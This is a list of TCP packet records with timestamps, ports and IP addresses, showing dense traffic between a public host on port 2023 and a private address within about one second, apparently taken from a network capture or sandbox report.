Dec 5, 2024 10:39:26.248553038 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.248594046 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.248663902 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.249742985 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.249780893 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.249880075 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.250792980 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.250828981 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.250914097 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.251926899 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.251960993 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.252032995 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.253081083 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.253117085 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.253197908 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.254219055 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.254261017 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.254348993 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.255369902 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.255412102 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.255469084 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.256468058 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.256504059 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.256583929 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.257667065 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.257713079 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.257716894 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.258832932 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.258872986 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.258913040 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.259958029 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.259993076 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.260032892 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.261029005 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.261071920 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.261099100 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.262227058 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.262268066 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.262361050 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.263364077 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.263415098 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.263523102 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.264556885 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.264599085 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.264609098 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.265608072 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.265640020 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.265706062 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.267308950 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.267334938 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.267353058 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.267914057 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.267956018 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.267986059 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.268764973 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.269057035 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.269097090 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.269180059 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.270207882 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.270251036 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.270287037 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.271428108 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.271471024 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.271475077 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.272454023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.272496939 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.272507906 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.273638964 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.273680925 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.273739100 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.274832010 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.274868965 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.274940968 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.275964975 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.276004076 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.276021004 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.276526928 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.318696976 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.408982992 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.409113884 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.409152985 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.409746885 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.409795046 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.409841061 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.410461903 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.410666943 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.410702944 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.411638021 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.411725998 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.411765099 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.412743092 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.412899017 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.412940979 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.413913965 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.414042950 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.414092064 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.415055037 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.415153027 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.415191889 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.416183949 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.416307926 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.416353941 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.417433023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.417586088 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.417624950 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.418450117 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.418540001 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.418584108 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.419610023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.419717073 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.419761896 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.420737982 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.420852900 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.420892954 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.421870947 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.421993971 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.422032118 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.423027992 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.423130989 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.423167944 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.424169064 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.424418926 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.424458981 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.425370932 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.425440073 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.425497055 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.426517010 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.426599979 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.426637888 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.427624941 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.427772999 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.427810907 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.428739071 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.428885937 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.428942919 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.429893017 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.429961920 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.430005074 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.431024075 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.431178093 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.431219101 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.432173967 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.432279110 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.432317972 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.433306932 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.433443069 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.433489084 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.433854103 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.433902979 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.434457064 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.434552908 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.434597969 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.435636044 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.435730934 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.435775995 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.436732054 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.436805964 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.436851025 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.438121080 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.438357115 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.438400984 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.440011024 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.440215111 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.440256119 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.441484928 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.441562891 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.441626072 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.442389965 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.442430019 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.442478895 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.443250895 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.443361998 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.443399906 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.444072008 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.444144011 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.444188118 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.445023060 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.445082903 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.445117950 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.445894003 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.445986986 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.446027994 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.447071075 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.447213888 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.447259903 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.448229074 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.448309898 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.448357105 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.449330091 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.449367046 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.449405909 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.450033903 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.450062037 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.450438023 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.450531960 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.450573921 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.451571941 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.451705933 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.451747894 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.452754021 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.452858925 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.452903986 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.453876972 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.453988075 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.454030037 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.455058098 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.455142021 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.455185890 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.456227064 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.456239939 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.456281900 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.457273960 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.457392931 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.457432985 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.458441019 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.458484888 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.458527088 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.459575891 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.459681988 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.459723949 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.460757017 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.460825920 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.460897923 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.461859941 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.461955070 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.461993933 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.463062048 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.463124037 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.463165998 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.464131117 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.464246035 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.464287043 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.464498043 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.465315104 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.465406895 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.465445995 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.466428041 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.466511011 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.466556072 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.467652082 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.467767000 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.467803001 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.468776941 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.476305962 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.476332903 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.602119923 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.602137089 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.602216959 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.602617025 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.602708101 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.602754116 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.603794098 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.603871107 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.603914976 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.604886055 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.604993105 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.605038881 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.606062889 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.606224060 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.606270075 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.607203007 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.607281923 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.607482910 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.608350039 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.608428001 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.608469009 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.609460115 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.609569073 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.609611988 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.610620975 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.610723972 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.610768080 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.611835957 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.611991882 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.612039089 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.612926006 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.612998009 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.613040924 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.614038944 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.614223957 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.614269018 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.615243912 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.615391016 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.615431070 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.616318941 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.616447926 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.616488934 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.617497921 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.617578983 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.617619038 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.618618011 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.618735075 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.618839979 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.619797945 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.619906902 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.619977951 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.620951891 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.620965004 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.621007919 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.622073889 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.622189045 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.622229099 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.623162985 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.623323917 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.623363018 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.624368906 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.624524117 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.624583006 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.625570059 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.625669003 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.625720978 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.626605988 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.626760960 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.626806974 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.627763033 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.627873898 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.627918005 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.628945112 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.629149914 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.629199982 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.630111933 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.630207062 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.630244017 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.631278992 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.631361961 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.631400108 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.632344007 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.632493019 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.632539034 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.633495092 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.633554935 CET	2023	49852	45.149.241.141	192.168.2.7
Dec 5, 2024 10:39:26.633608103 CET	49852	2023	192.168.2.7	45.149.241.141
Dec 5, 2024 10:39:26.634634018 CET	2023	49852	45.149.241.141	192.168.2.7
